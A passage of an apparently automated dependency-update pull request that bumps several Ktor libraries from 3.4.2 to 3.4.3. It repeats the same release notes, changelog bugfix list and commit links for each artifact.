generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-server-content-negotiation's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.4.3\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5d9a99869b6005018fb821828c082d8e4ff05500\"\u003e\u003ccode\u003e5d9a998\u003c/code\u003e\u003c/a\u003e Release 3.4.3 (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5547\"\u003e#5547\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/6a11a76b9e13302ceea01e8763aa2fdc74ec73be\"\u003e\u003ccode\u003e6a11a76\u003c/code\u003e\u003c/a\u003e KTOR-8989 Close or cancel engine only when the client reference count… (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5525\"\u003e#5525\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/3acb8ea1ab1738c0ff6fb68f3f0e75024edae2c7\"\u003e\u003ccode\u003e3acb8ea\u003c/code\u003e\u003c/a\u003e KTOR-8938 Inherit server coroutine context in WebSocket session (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5426\"\u003e#5426\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/cec7d38a7183c43efa686eed6cad5cf889f37fd0\"\u003e\u003ccode\u003ecec7d38\u003c/code\u003e\u003c/a\u003e Fix flaky test failures on native platforms (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5485\"\u003e#5485\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/bd8bea1c18eba45f150537d223a8aa3c107cb5fb\"\u003e\u003ccode\u003ebd8bea1\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update Jackson to 2.21 and 3.1.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5e29515e447d0b825f7e0fe1a60757b433e89c02\"\u003e\u003ccode\u003e5e29515\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update netty to 4.2.12\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/733b8e1b08e1c87a0b731ddd42406c8b2a93e35f\"\u003e\u003ccode\u003e733b8e1\u003c/code\u003e\u003c/a\u003e KTOR-9373 Make ConcurrentMap iteration safe on Native (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5407\"\u003e#5407\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/1f83f21df932ae6b00222ab5241e4bbc93c830e5\"\u003e\u003ccode\u003e1f83f21\u003c/code\u003e\u003c/a\u003e KTOR-9451 Support nested generic types (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5500\"\u003e#5500\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/2440990f1085410261b41058815d24d6a9789bba\"\u003e\u003ccode\u003e2440990\u003c/code\u003e\u003c/a\u003e Apache 5 Client. Don't ignore resultCallback (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5526\"\u003e#5526\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/430f32098bc3565d2cba6d0dfd06758afba45410\"\u003e\u003ccode\u003e430f320\u003c/code\u003e\u003c/a\u003e Follow-up: KTOR-9497 Preventing a fatal crash in DarwinSession on close (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5533\"\u003e#5533\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/ktorio/ktor/compare/3.4.2...3.4.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-serialization-kotlinx-json` from 3.4.2 to 3.4.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-serialization-kotlinx-json's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.4.3\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-serialization-kotlinx-json's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.4.3\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5d9a99869b6005018fb821828c082d8e4ff05500\"\u003e\u003ccode\u003e5d9a998\u003c/code\u003e\u003c/a\u003e Release 3.4.3 (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5547\"\u003e#5547\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/6a11a76b9e13302ceea01e8763aa2fdc74ec73be\"\u003e\u003ccode\u003e6a11a76\u003c/code\u003e\u003c/a\u003e KTOR-8989 Close or cancel engine only when the client reference count… (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5525\"\u003e#5525\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/3acb8ea1ab1738c0ff6fb68f3f0e75024edae2c7\"\u003e\u003ccode\u003e3acb8ea\u003c/code\u003e\u003c/a\u003e KTOR-8938 Inherit server coroutine context in WebSocket session (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5426\"\u003e#5426\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/cec7d38a7183c43efa686eed6cad5cf889f37fd0\"\u003e\u003ccode\u003ecec7d38\u003c/code\u003e\u003c/a\u003e Fix flaky test failures on native platforms (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5485\"\u003e#5485\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/bd8bea1c18eba45f150537d223a8aa3c107cb5fb\"\u003e\u003ccode\u003ebd8bea1\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update Jackson to 2.21 and 3.1.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5e29515e447d0b825f7e0fe1a60757b433e89c02\"\u003e\u003ccode\u003e5e29515\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update netty to 4.2.12\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/733b8e1b08e1c87a0b731ddd42406c8b2a93e35f\"\u003e\u003ccode\u003e733b8e1\u003c/code\u003e\u003c/a\u003e KTOR-9373 Make ConcurrentMap iteration safe on Native (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5407\"\u003e#5407\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/1f83f21df932ae6b00222ab5241e4bbc93c830e5\"\u003e\u003ccode\u003e1f83f21\u003c/code\u003e\u003c/a\u003e KTOR-9451 Support nested generic types (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5500\"\u003e#5500\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/2440990f1085410261b41058815d24d6a9789bba\"\u003e\u003ccode\u003e2440990\u003c/code\u003e\u003c/a\u003e Apache 5 Client. Don't ignore resultCallback (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5526\"\u003e#5526\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/430f32098bc3565d2cba6d0dfd06758afba45410\"\u003e\u003ccode\u003e430f320\u003c/code\u003e\u003c/a\u003e Follow-up: KTOR-9497 Preventing a fatal crash in DarwinSession on close (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5533\"\u003e#5533\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/ktorio/ktor/compare/3.4.2...3.4.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-server-status-pages` from 3.4.2 to 3.4.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-status-pages's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.4.3\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-server-status-pages's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.4.3\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5d9a99869b6005018fb821828c082d8e4ff05500\"\u003e\u003ccode\u003e5d9a998\u003c/code\u003e\u003c/a\u003e Release 3.4.3 (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5547\"\u003e#5547\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/6a11a76b9e13302ceea01e8763aa2fdc74ec73be\"\u003e\u003ccode\u003e6a11a76\u003c/code\u003e\u003c/a\u003e KTOR-8989 Close or cancel engine only when the client reference count… (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5525\"\u003e#5525\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/3acb8ea1ab1738c0ff6fb68f3f0e75024edae2c7\"\u003e\u003ccode\u003e3acb8ea\u003c/code\u003e\u003c/a\u003e KTOR-8938 Inherit server coroutine context in WebSocket session (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5426\"\u003e#5426\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/cec7d38a7183c43efa686eed6cad5cf889f37fd0\"\u003e\u003ccode\u003ecec7d38\u003c/code\u003e\u003c/a\u003e Fix flaky test failures on native platforms (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5485\"\u003e#5485\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/bd8bea1c18eba45f150537d223a8aa3c107cb5fb\"\u003e\u003ccode\u003ebd8bea1\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update Jackson to 2.21 and 3.1.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5e29515e447d0b825f7e0fe1a60757b433e89c02\"\u003e\u003ccode\u003e5e29515\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update netty to 4.2.12\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/733b8e1b08e1c87a0b731ddd42406c8b2a93e35f\"\u003e\u003ccode\u003e733b8e1\u003c/code\u003e\u003c/a\u003e KTOR-9373 Make ConcurrentMap iteration safe on Native (\u003ca 